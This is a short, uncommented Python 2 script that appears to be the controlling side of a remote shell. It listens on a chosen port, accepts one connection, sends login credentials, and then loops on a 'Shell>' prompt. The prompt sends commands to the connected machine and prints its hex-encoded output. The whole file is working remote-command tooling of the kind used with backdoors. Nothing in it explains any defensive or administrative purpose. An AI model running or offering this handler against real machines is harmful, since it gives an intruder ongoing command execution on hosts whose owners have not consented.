import socket,re,sys,hashlib,base64

host = ""
port = int(sys.argv[1])

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind((host,port))
sock.listen(1)

print 'Listening on port',str(port),'for incoming connections!'

client,addr = sock.accept()

print 'Connection established by',addr[0],'on port',addr[1]
print client.recv(1024)
usr = raw_input("Login>")
client.send(base64.b64encode(usr))


print client.recv(1024)
pwd = raw_input("Login>")
client.send(base64.b64encode(pwd))

print client.recv(1024)

while 1:
  cmd = raw_input("\nShell>")
  if not cmd: cmd = "dir"
  client.send(cmd)
  cmd = client.recv(20000)
  print cmd.decode("hex")
print 'close'